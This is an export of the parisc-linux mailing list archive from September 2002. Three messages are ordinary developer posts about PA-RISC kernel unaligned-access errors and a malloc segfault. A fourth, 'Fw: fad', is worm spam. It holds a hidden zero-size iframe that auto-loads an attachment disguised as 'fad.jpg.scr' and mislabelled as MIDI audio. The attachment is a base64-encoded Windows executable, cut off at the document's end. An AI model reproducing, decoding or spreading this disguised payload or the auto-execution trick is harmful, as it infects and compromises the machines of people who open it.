In-Reply-To: <Pine.LNX.4.44.0209201608450.20374-100000@garibaldi.apptechsys.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16216

Well things seem to be getting better on my 580

k580:~# uname -a                            
Linux k580 2.4.19-pa18 #26 SMP Sat Sep 21 09:09:22 EST 2002 parisc
unknown

k580:~# apt-get update  
Get:1 http://ftp.au.debian.org unstable/main Packages [1962kB]
Get:2 http://ftp.au.debian.org unstable/main Release [82B]
Get:3 http://ftp.au.debian.org unstable/non-free Packages [50.0kB]
Get:4 http://ftp.au.debian.org unstable/non-free Release [86B]
Get:5 http://ftp.au.debian.org unstable/contrib Packages [47.8kB]
Get:6 http://ftp.au.debian.org unstable/contrib Release [85B]
Fetched 2060kB in 11m39s (2944B/s)
apt-get(181): unaligned access to 0x403ce08c at ip=0x4005e4f7
apt-get(181): unaligned access to 0xef20c024 at ip=0x4005e4fb
isr verification failed (isr: 00000000, sr7: 000000ac 
Unaligned handler failed, ret = 1

k580:~# /etc/init.d/samba start                                
Starting Samba daemons: nmbd smbdsmbd(175): unaligned access to
0x4001a2b8 at if

Robert Stanford



From - Thu Nov 08 21:24:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] malloc limits
Date: Fri, 20 Sep 2002 23:38:37 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200209210338.g8L3ccnN005029@hiauly1.hia.nrc.ca>
References: <20020920203724.GD24622@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621746 14290 80.91.229.3 (22 Nov 2014 02:02:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 22:04:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 130124829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 22:04:09 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g8L3fu00005058;
	Fri, 20 Sep 2002 23:41:57 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g8L3ccnN005029;
	Fri, 20 Sep 2002 23:38:38 -0400 (EDT)
In-Reply-To: <20020920203724.GD24622@systemhalted> from "Carlos O'Donell" at Sep 20, 2002 04:37:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16217

In looking at the failure of the gcc v3 pthread2 test, I see it dies
with a segv in chunk_free when next is larger than 0x80000000:

#0  chunk_free (ar_ptr=0x400ad16c, p=0x4010c744) at malloc.c:3179
3179      nextsz = chunksize(next);
(gdb) p next
$2 = (struct malloc_chunk *) 0x802191cc

I thought there was a flat memory model.  If so, shouldn't it be possible
for the data section to expand past 0x80000000?

The test will pass if I cut max_loop_count to 30000.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] malloc limits
Date: Sat, 21 Sep 2002 05:14:17 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20020921051417.P10583@parcelfarce.linux.theplanet.co.uk>
References: <20020920203724.GD24622@systemhalted> <200209210338.g8L3ccnN005029@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621746 14292 80.91.229.3 (22 Nov 2014 02:02:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:26 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 22:14:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFA164829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 22:14:22 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17sber-0007ga-00; Sat, 21 Sep 2002 05:14:17 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200209210338.g8L3ccnN005029@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Fri, Sep 20, 2002 at 11:38:37PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16218

On Fri, Sep 20, 2002 at 11:38:37PM -0400, John David Anglin wrote:
> I thought there was a flat memory model.  If so, shouldn't it be possible
> for the data section to expand past 0x80000000?

There is a flat memory model... libs are mapped at 0x4000'0000 so that's
not it.  worth looking at /proc/$pid/maps for that process, maybe?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ankurahmed <ankurahmed@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fw: fad
Date: Sat,21 Sep 2002 00:14:34 PM
Lines: 546
Approved: news@gmane.org
Message-ID: <20020921041436.C4E664829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=eqeulxl
X-Trace: ger.gmane.org 1416621746 14293 80.91.229.3 (22 Nov 2014 02:02:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 22:14:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lists.parisc-linux.org (d57-34-163.home.cgocable.net [24.57.34.163])
	by dsl2.external.hp.com (Postfix) with SMTP id C4E664829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 22:14:36 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16219

--eqeulxl
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:opqq height=3D0 width=3D0>
</iframe>
<FONT></FONT>
 1  <molybdate1a5835x14@yahoo.com.au>
  1  <basslerbabe@yahoo.com>
  1  <daisy@netz.de>
1  <sony2000@etang.com>
<dori732491@yahoo.com>
nancy889026@yahoo.com> 
<Renee9315988@yahoo.com>
 1  <Renee2277758@yahoo.com>
1  <alysha@access4less.net>
<sony2000@etang.com>
1  <Annette1244873@yahoo.<BR>.<BR>.<BR><BR></BODY></HTML>

--eqeulxl
Content-Type: audio/x-midi;
	name=fad.jpg.scr
Content-Transfer-Encoding: base64
Content-ID: <opqq>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAABXZioCEwdEURMHRFETB0RRkBtKUR4HRFH7GE5RCQdEURMHRFEQB0RRcRhX
UR4HRFETB0VRkAdEUfsYT1EWB0RRqwFCURIHRFFSaWNoEwdEUQAAAAAAAABVUEUAAEwBAwC+0QI9
AAAAAAAAAADgAA8BCwEGAABgAAAAEAAAAOAAAABLAQAA8AAAAFABAAAAQAAAEAAAAAIAAAQAAAAA
AAAABAAAAAAAAAAAYAEAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA
AAAYVwEApAEAAABQAQAYBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAuLi4wAAAAAADgAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADgLi4uMQAAAAAA
YAAAAPAAAABeAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAABQAQAACgAAAGIAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAkLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLiAkCgAuLi4hDAkCCVblYQe3/adfWykBAPdaAAAAAAEAJgMAm337
//+LRCQEi8iKEITSdA2A8r2IEYpRAUEMdfPDkP///48AVleLfCQMvvzQQACLBlBX6AMAVvyDxAiF
wHUT8l/+/4PGBIH+sNFAAHzlX7gBAF7DXzPAXsOQt7fdB4HsIBpTVUdowNMq/xW7u//d5KBJ2IXb
iVwkGA+EQhyLNegTaLDft993HlP/1micB4v4CYvoaIQLiW227e1sJCgNhf+JqhQxCYXta3fLswcB
wPl4aNAHBJo127+9V4eL8JwEhfaJdCQcGuWNpvseuzQQUB9W/9cvwBSL++9d+zPtwegCEFQQD46r
FN6LC1FqS9q3p3v/Dx+m7PBJdHSNVH72trXvRSRSagRQQwwwNHRfiwe7+Xb/JI1MJCxoBIZRUhck
R418E7e7X3iDyf8G8q730Uk2LFFQTKihYXMjLL9CD00SUkZhs20vdAlyVm7wg8dP371uZP/YEfiA
nEWDwwQ7vq5h++gPjF//AIszi9pW63w8/Gbr6VNbEF9eXVuBxGjDhe/WLG8oVVRqAmTYRD/3ZOGD
/f8KggTHAyBQVYa30H0d0n9kax196Alpxr499L6nDjRadwi7F4wYUB/XEQUMuobL2NvTBcoQEGAQ
dusYeVHMJ66dW1XPnDDOdl2kKB9kAwvurYudDIK8JIAOsD/tuobuAA8Aa9z/aDGAVizU4XPPzgwH
MMwH0A0ogO7cz8ItCIQkeDyFFI2UrWvd1yaEiwtSR6hRI1zYNJgEuxgQUjgAoPDPUIiqOoPDiy0A
lnXf20uNhDpFIDTVLK5waxYUByBShBgYTT7bkGcrNAIk/B0U4bHQ4RiG/ieFVsqywdxh0/VF1EHV
NCdD9okPwZREjA35LI9Qi0RRUlDm3uywV8fNIJKOp7PwYY/np4P4AvKtY4PsPawhsKqELnUNjlVe
NWAdUqkNQTUE6VjVyyCXfPu5d5yYINaD6AXGtEVRVyexdzaYNldjvz03hdO9p1YEuA4yBAswCbEM
cSt0TL2MALKMUR8QAe3t1Y14CG4MR7hoWNQt13U0TQICDGFk4hgity7sQhwjaEwaSVwAoWzL3TUw
FmjEDtZgIAvf/SmWr0ufmbkJlPf5ixSVnJMO4XDMQALWWBBdQ8t1jYAiBIwBbDCFIFu7aA2AUNBg
Qx3MtrkjJx1TEkyzPVuXO4UQYywnnPjCJr11xnzxdRJTEWC3nu1YAQRXKqDo5XUGR/en21fpnQZk
ejPJM/bQQxB99/e3B3Yqi9WB6sSB+Sk9cxqKhAr3f2/3DotdiIEJKEE7yHLeVcYPL7+Vj2OY6+t0
v/AFsCA7e/vvbyoUc1SKlC4OgPo6fAUEQH4KCbNvf3N6fTB/FDrQdCAIDXUmRlHIdsn3R0HrHQ8L
DQqRwsKePQJGR4t8pnHiEBZeIYfuUVNUwQ7zkN+wl6wAWXKdgiYOZ05ccQ7hEF57A8NGBNf40Ax+
OdNScAmOhXp2M3FXZGEGg23wCW1XB+RADrBWF1ZNyc5hpVcrF7yfMyedAKlYsBJo3mVPjqxLmKGk
AlhrZ2bApEAUV5A9sJkcZ1Sv0R1s1GymM6qBaAVkJTDMA66F/d6Vmg22/XPECYXSfjWJOBQU+uaN
He5rFooXiP8XjVSJh2ALHVBO/Ugxeq1J+HXPVYYc4t+Z3WXr1lYCV7kQw75outmDNet45vOlpOkT
MM6RkMrtksCTkaUTdyQR31aJyQnLi+hVoFZ+POHrxKgRVY9Q/yG85ewZIJ6HflcagVxgoBZGmtDF
U3Qkgk7ttwycJfnnIXmKBFgT//8WRsHgCDv1fQsz24ocFgPDbhQStf+3A4vQFPoSg+I/ilQUeIgX
Drv5HrINDFcBDgaD4D83K/DdXxOKRAQXAohHA34DBP0mfn89jUUBO/AKAj3xQYP5E3U1a2fhcNsQ
G8bbyEPTme4KB4HxSFDnWmuYcDRQU9yZKMBe9gubLRVBhclrxkSMKABFHBjABjWLrww9zWALVDVS
ZwdDpC7cUJk2aQZLOJBRlPpELGTpWxJQU1D1Bo8Or09+/3QEEnAG3qsKxwV8RhrPdqYT+rhMG6rM
7EnICe9DBV5XM/+4z4k9L8Bg5BKp/KEQLFwyt3NMG59oG94AohvflP0793UjvQxXTQLeQv9zrCTY
g/v/dQ2wxafvnm7NImPk33AIHzvHdQ/xH+TSahl8DKLrBA+/QAhmx/Hv2MCY1GaFHotWDGoQiwKb
oQs9R1IsCIn2ohDHLmSRoljQYAt3f3IPplh2FCXNCkyhgNf1ZnLZ0m90D4vtIO16UHgj1xA7xSkQ
w6kWSP0FInhs4G6m7Dn0Hg6l2CjknuG1V8S7GO3aP+Z0SDmsgIl1P5wzGxbchBss18OKHw6EZrvm
UkQa4N+Z3het6V4sJCbGAk72EbZO1yykh3UOg7ywvlfeIlSFOwFy+1VpvtjDFnVLUm1QjEGY4y18
jnlmI+G64nDBgFCIvs4d62t2D2i8O194ILRoJLPtC1HHLXQn1Tci32s+fBlhUlak323P5lgtqh+c
39V2KLvYOdKjJt9AXBM2HbXh7zR8JQzrUKlkGxZLMGdn65EqPGSwc/QUDTjNY+7szK5wfEJWdxTT
dLYZwGNsWrivCmfkYN+kUZ+6oS1CPS4QeC0Yosdpe/XbTEi0nFcdnWNG1VMjtFxwagVLyBlyUbxs
hvnIJTOjeH5mZffSpAF8aoKOH1rGdnHotUwhcg6w1SXIF/6PpHkFSIPI/kAB/v7//+h25VFk3k8N
Xaj4h4Bh5rlw6MFQcGyYmd78H+stUwwJM/7AAXUjRytMhjQYlh8usCZIKBQCLSWUSyZ7M29mlUDd
2CUNksQUZGqQjAcyYSNRZpRSPF0sIV9euDgFWQjh8V4qB+HAoTjpBQ85yDfND5ZoaDDeQIAI8OtG
oMjgIBRqSgkEvd6bPOmQIDNYZV25NZloLNFAC5Q7nDwX8lJoFGyETIvBprlQUVQQ3l3zuVOyp7AI
hnlRNCMD9hVRIATWilxoxoWLEuZ1LMjDvmbAkyE24N/JAHZgGVcAnr0ZLw5O0g743Www18WlWGxj
JFAgWBu/ty8gg/+SaIzIQx42MHvs3XAb5CGbE2zf62Lc3Y/sLDYvJFKc6zJ2tmRz6mOUUXCgC2SH
RLcdsYNkTQZ814xYqXNYm3DPdicZS3Jo6ViEIJKCTSBQIJEPjJWxy6xYDMnIL2ZOY0zdAEt2lb1o
0DyYxQl52RkYLPzcvOQF2eTcpLMLyNwP4RKSRTAnsNywF8ghmIzcr2ySiJx43ElAMpMDe8CfuWgx
iwwCaQYbMD5gfgwswrcW7qIiIQ9hXxCE2+PkZEyIDkjbjP2zJCMRmlG8pJk5kFDaZpPCygXTFR1Z
AZiQXhYZ5O6E2gAs2QTyJh94IA5ADghmVAVM2nMhh+wtbFzLRDx7KbAt+5r0HiQXMoE8NJBXUqyu
lyTaUNIB5G4U2tY8jK7feCDrEQoPO8zZyAnhhETZKwjZ2aEETpTYF4TXIM3oJkNIgRIgK+yBlyTr
FQ8S/BsJvMiQ1jtaO3KBbAwDioSHFWAXfEpArEAOWA5k1lmrsk5/pjGGPiV0I2CLDIW0TWGDdAlj
JMsPrzkIBs5Uoic41kJ2kwkskjIdIGGKVK+wOZoc9sIdMwJ0KzUk4i3jkNMTbxuyIDBIOVukZZML
ORwQ+EJOctgorwCYIA/jskST1etfp8jV7CXkITIds9DkwkK2tNCMnunMt2DASLSBMMQAjEVPPMzR
Mw2EUv1RsNU4kM7gDbwjV4zAbED8mMFeV+QAEodArITVAfmSLfkoVxIOsJB0eagWMiHwaNXzwMIi
CB3G37FdyCUxT3xMKbYyknf2EYIihL0rRIwgWMhV9kuDPEIOWJziAPzcJCYTcuTcyJ4nEnIKENWF
lAo5YP741K6k2ZA0PLz8BCxpZUwT1sgBgyTM4/TUdoCQHA2ILQcIyRQDy/IQUknvStzUEQKnUMVd
zY2keMgI5RJq5JBBk2AF3AiEK040hHbUsCJlD34sxKxoBHzUMIqVXVaAFDQNrHhaHxjxUpRTBDAH
ait1DykO7FFXzFdmFIv4YcGRPddWzFKLNaSn45wwPIQgZbgggQGT0BmSZg8w3+sGUVIumawRvkm8
DBGLkELxBECCydMwvLwDkCDSkPO0A7mSATmEUIzCUtgbtFrlWrOZzo0eDxwFIDXBECm9qaQLpHhZ
cVFWajLJWfspLKLY6RcJ2drJJJNM29zdZDB3M97GBd8FLtCRSSaZ0dLTVANwkNQnjJtQRiRYclvg
L13TdJjuyHhqD7F0xnA+1U33/wiUXlnDH6wFV1gRoThCLSFHqjwAAUICR/JIKiAEBJSyeciuBcnY
6agF0OkOOesFdEbcA/xDviZ8uNGpdzIjdsSThJTGLgzgCBu5si8Q63JFDFEYEV8OOQf4FIUIybvs
IJOGBZDIFBNzgTxPDowMyADwT/XxGGjs/oT4M/+JPeTMEu2frSZMOT0U6wr4Bg7/x85P9xGNBJKN
DICNFE3oC2KBvsE5oRlI0xin41vuK4zBArseU6YkIZRgdhWEkK6JcmQLGZoeNhdNwAQrGAX+HeWg
2AEoXje9/ZEv3EzB3oNTi1UAQFBSYAmnA5LmB91edMAejbSLRLlPdzdM1ExSAnA8BXb8U1JOYFPC
86X8UBEKbPvd55aFUDT6jRuDxQSB/cyNCmvRgh9sv29CWyzZa7ZvUzzADJBNUHoSDEEJeIFAHvb8
R6jcfen+2PgrfXaNLIVMDCusBfqNMN0gh8r8kAD4aHwyBBGAlcoxvSjsDr9+db1/dBQPu4bg/RJA
hDvBA3yxweGskBczB/INw7fu7bwdwzJJHBgiD45E/aB7ix6mBNdoD48gEeMrSICqe8KFfx4IQc9A
BTP2V4mTHFiPNYWDLdb2SA6MAdrVmAMemku6EoMo1TwCuZJL1UOQIawX84BvwmpVgtR9BcCwEHt4
LDb69avwEEmFyXenu3xkU2QUDIJp6i4IytgGhsEvBCg1FMxC48EljUOcKB5YoQHyMCxSUEI+OxdG
HC6EQIHDWSofL+EDEKR5wxwknhBQQAUBcEKIDQz/FAItZQhmj5BPEQvEAR6uHy4cu4HYIg+A8PQQ
QQQgl0s03CgBFOCUkaUgiCAcBM+BAOMEVMGBJyeDUvihsYYmAU/tV2eavzOAQph9FR2L2LgB3BqX
tzvTCBSjy218+9HGpRNtfWyZfCMHbhJwewV9YRx9PqDCz2J0hRsnTdX9QkJGf/tYA/SJCo0ciYpi
E4D5O4iMW9bt3l7nXlZ1vh9AXA0Bt/Z9icaETh0Ae1x8mhfCYWCMLT9EPCN4MDtWuljg4BQMAq8Q
ygWHxqxGP80QritiN6NTDkDsuizKBFVXUyDIeHxUjiAQ9OW/TZxOgYPI/e5kgYgQAyucNxbw8DBS
aQyhLHkZH7iudeh7JFSuDMCd0QRnjDJpWFO52RJPzFCeEKcCMlEhyZ0FMAEekHbLD/7Mc0jg0xSN
R5zDY20We5bpFV0qNHSugXh6KmQTMozAGt6L3BDh1mLbYQm5IC9Sa2QCH5t4ahOBx9dCkB8suMMD
JBBH2hPKgSwc6V9diQpbXqJENx4ZpM55D77CMmJ/fHoHsBUUfusyD8gAVpvNnb9ikuAz2yz5fnSL
XqTprIygBYhVd7e5izWEPbcldQNTn6wi3Juv4THcVYkdsC6G4sZLjhZq/NTgNr0RipvgFcihPawt
XnvbgCcoVtAab0D7ERzbRrwFuOnlo8AHgyHbHaPEBmioOTwkvoWmYQNOpFV8BT4CF2MnHX7MjBhR
udtXKMz7q1NVHczZwLU16w9sTL7gTj4egZiQMCS35D68scxwPYowLAPTdF1XMPc0BzgDPEA128hd
RCNIpOBMV7yhvZcO4ITsxHUmobdXa/xrssRTVlNTuwMQeh//2pAFNmoI/9f3g/nGfqUlWjW+L6G8
NLhz/NpPK9BVUhdBK9H8PuPE7ORAUz2j9e8d4aboUKPMsjCgQEu29r1nOaPIVhtRQh40F+vpRRNM
KHocuW3Hsq2YAMxgU3knBZubJgopJLVqutY7uwVEwKE2f0UssxXACiCzQDKADQZ8KBgGnhJm+mf/
M8mK6olJFLmybyCKisrB4QgZRKfge3Yj0XILwrk8JXOwwsO4PMJ8gS1oAQY7sqYqVBBYT0axXcBO
8g6gTBoW6S5l+IP+D3wE7An6DxVQG+jY3BA9UCZML2ABdQvLHytgvAKI92YDZRxhCdgVaxDd8GNW
UIaU4SdUahNokKaP/p+ZEdrAwlKZg+IHA8LB+AM8YQT4yiA+OGEYSMF0ll7c6c3z70uGB4M9grB1
L7gm12A9U0lTKQzMGb+NMXO0HC2s/IjZi3cIWQmDMBfyBA51297IAJCGprvug+xUglzjCDDh7hM+
z2JkdgwMGAkHFOifjQx32w+HsQY2g/gg07bw0ndOk4vISTxJuxBEA9wWDNgM+yUwMN0EpYRFVMIQ
ziW/Zcer1KESItyht3+htkuByy7/dAmD6QRSvQJrJcshAajEcxVbxXxkJ0Wic/GjvXG7+hquaGxi
YBSK4DRRVTALUkN513QUwC3pPZZVFD0VbCGLleUqPypTOv0P7lyvaHWgTUN4lDGk6cBKSuxMzDnp
pFgMTqFAUCshUwg65BQISe9shBjQT7Kwn5Buu4r6MYraweMIEekxu5Q/C9qFTD8jOZILKDDkQiaS
NCgokaaZ5CwsKDwFz9edPA1CBEFHiCGpbGJARVVngKQzJ1VHaA7jYZZo1e0njXiL35USEYP5B3dt
/2zoQEB8HNzDVnVVpJuVocQv4Hqgj3jIeQL32eueBRw3iKzCD9g+NjLeeAp/HvQKfiGGTJq6kR0I
GExkz2CzlXAGhU3iZ9gnt90zG5Blhg4+A8tAsrmE3rJACxd/lDDqeMEogFfBKSOzlPeYxBmQT0e/
oMzhDOLB7JBXNAtRkK8sppQkrEbDIoLFqsHQs6F4uSKhROEQFVulTCPLoUhEF4+Kzs8oPYAczEzd
DbXUQCNlJx0UjVCyYJN9SlAWUTMt6WhYRYeLlEHNCSEPGFYjVpJzN4lDzpnk7BAFCfX24uduJvfG
BfgFEDEMGH1Ssaz/8A9BO1oRo4UD4uZes4ohG2YYAQjCudB7z9XeHAGQC2v4ziDTAlkcT4C+Q3P7
CIxPECgYvc48BBqd2WLlxh3UIUBhFOidUAQ2iy1f91qPOTwqYRAWVHQ0CyoLFhgxng7onwMMFn8z
uZNQig90ajxhfgo8ejANn/t9BgTgiBKvV5kE3S3Q91EnBAEUOQQgiLZDhvMMhMxrIxgPLl1gOJw9
AAwOdWfNjZGKJYQZgp5LrpoNlgxWpzEDxWH12HQIBwR1U/4IXGjACE5DJnvHiojd/10BOhZ1HITJ
dBSKUAEMVgH00u2X4sACg8YCE3XgTusFG42iobhS2P+BV6YrvNmIALo0g8cDgD9flga7fYpHAUd7
dfgHiPtfXz1ZgM8DcASInGiHQ+wkeASZ6kqdPNkZvqZs5QccZCBckydPniRUKFAsSOGAx8kwQBR7
jugRtnrADuKtOIsxoBPRXcBoLAxSXI2HPLfcQAM0+IOqfTQ193RVaBwkK25EWBAwIMOBMjxVcxVM
R5f3HIM4/iZmnF2IQAJx2T46RIYvUeMdVKONoiNOwvEHLCY2wsCHVVgTToV5Ev1wBIKZzXzHgWgM
BGxopLBgzJpkEMRbFiNpWT6PPzaDR8MIAwxw6qLKPXSHH3L/XwBLHa8OeMPqEoXCHKy0LXKfoLMC
rdFA+YZH9FT+8GZPR91I0VBW6OTcQAff2NSrqWZ2zxEkhF4Ivw1++nQLjUb87TWs63QGHItO2yAL
wBBRFjRHKSBmFR38O/hy0uucHqhgDHP1xlTeylDHMHEyX0IIZt61dqBeOCh9K5kWmcmd2xXXWJwt
DhVqLtS20SAOkF8ESCHBJRpgo/9eLys6wDkUBGM4sQwoD8jigcEEHh54ExeS7BERcFnaTQ42BvLA
1lIcKLYl8Hq8mdY8JGXBY+YVNBeZHnilaGVQ1lDOgJ5J8FZ929QOZgOMFLTlog1qVrVEUSgTuDHH
